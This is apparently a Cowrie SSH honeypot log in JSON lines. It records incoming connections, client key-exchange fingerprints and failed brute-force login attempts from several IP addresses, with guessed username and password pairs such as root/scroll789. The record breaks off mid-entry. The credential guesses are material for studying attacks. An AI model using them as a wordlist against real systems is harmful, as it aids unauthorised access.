{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":53710,"dst_ip":"10.17.0.5","dst_port":22,"session":"752850b824e7","protocol":"ssh","message":"New connection: 20.62.194.5:53710 (10.17.0.5:22) [session: 752850b824e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:20.819795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:20.823545Z","src_ip":"20.62.194.5","session":"752850b824e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:20.870534Z","src_ip":"20.62.194.5","session":"752850b824e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:20.947247Z","src_ip":"20.62.194.5","session":"752850b824e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:21.972770Z","src_ip":"20.62.194.5","session":"752850b824e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":53720,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff8eb8362bcc","protocol":"ssh","message":"New connection: 20.62.194.5:53720 (10.17.0.5:22) [session: ff8eb8362bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:21.986381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:21.990712Z","src_ip":"20.62.194.5","session":"ff8eb8362bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:22.005297Z","src_ip":"20.62.194.5","session":"ff8eb8362bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"test","message":"login attempt [admin/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:22.053766Z","src_ip":"20.62.194.5","session":"ff8eb8362bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:23.070781Z","src_ip":"20.62.194.5","session":"ff8eb8362bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.62.194.5","src_port":53736,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5412c2b874c","protocol":"ssh","message":"New connection: 20.62.194.5:53736 (10.17.0.5:22) [session: a5412c2b874c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.111664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.115877Z","src_ip":"20.62.194.5","session":"a5412c2b874c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.130433Z","src_ip":"20.62.194.5","session":"a5412c2b874c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.173900Z","src_ip":"20.62.194.5","session":"a5412c2b874c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":45256,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c9a39972f0a","protocol":"ssh","message":"New connection: 159.65.58.200:45256 (159.203.135.109:22) [session: 9c9a39972f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.191030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.424489Z","src_ip":"159.65.58.200","session":"9c9a39972f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:31.427458Z","src_ip":"159.65.58.200","session":"9c9a39972f0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:32.188606Z","src_ip":"20.62.194.5","session":"a5412c2b874c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadykov","password":"123456","message":"login attempt [sadykov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:32.429836Z","src_ip":"159.65.58.200","session":"9c9a39972f0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60112,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2edbf84366c","protocol":"ssh","message":"New connection: 8.210.75.243:60112 (10.17.0.5:22) [session: f2edbf84366c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:33.770348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:33.777639Z","src_ip":"8.210.75.243","session":"f2edbf84366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:33.929438Z","src_ip":"159.65.58.200","session":"9c9a39972f0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:34.695635Z","src_ip":"8.210.75.243","session":"f2edbf84366c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:37.207357Z","src_ip":"8.210.75.243","session":"f2edbf84366c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:40.009917Z","src_ip":"8.210.75.243","session":"f2edbf84366c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":42506,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b38a117e7e7","protocol":"ssh","message":"New connection: 199.192.25.149:42506 (10.17.0.5:22) [session: 3b38a117e7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:46.703771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:46.707690Z","src_ip":"199.192.25.149","session":"3b38a117e7e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:46.774512Z","src_ip":"199.192.25.149","session":"3b38a117e7e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scroll789","message":"login attempt [root/scroll789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:46.976963Z","src_ip":"199.192.25.149","session":"3b38a117e7e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:48.045819Z","src_ip":"199.192.25.149","session":"3b38a117e7e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":56898,"dst_ip":"10.17.0.5","dst_port":22,"session":"61c1c123cb4e","protocol":"ssh","message":"New connection: 194.36.147.215:56898 (10.17.0.5:22) [session: 61c1c123cb4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:50.531587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:50.535011Z","src_ip":"194.36.147.215","session":"61c1c123cb4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:50.626018Z","src_ip":"194.36.147.215","session":"61c1c123cb4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ftx#Tr0ng!W0rd","message":"login attempt [root/Ftx#Tr0ng!W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:50.896317Z","src_ip":"194.36.147.215","session":"61c1c123cb4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:34:51.988454Z","src_ip":"194.36.147.215","session":"61c1c123cb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":43604,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7dfae1e512f","protocol":"ssh","message":"New connection: 91.92.40.4:43604 (10.17.0.5:22) [session: c7dfae1e512f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.720015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.725561Z","src_ip":"91.92.40.4","session":"c7dfae1e512f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":19376,"dst_ip":"10.17.0.5","dst_port":22,"session":"4450fbbc8766","protocol":"ssh","message":"New connection: 38.93.206.2:19376 (10.17.0.5:22) [session: 4450fbbc8766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.734056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.737769Z","src_ip":"38.93.206.2","session":"4450fbbc8766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T06:35:04.808596Z","src_ip":"91.92.40.4","session":"c7dfae1e512f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gc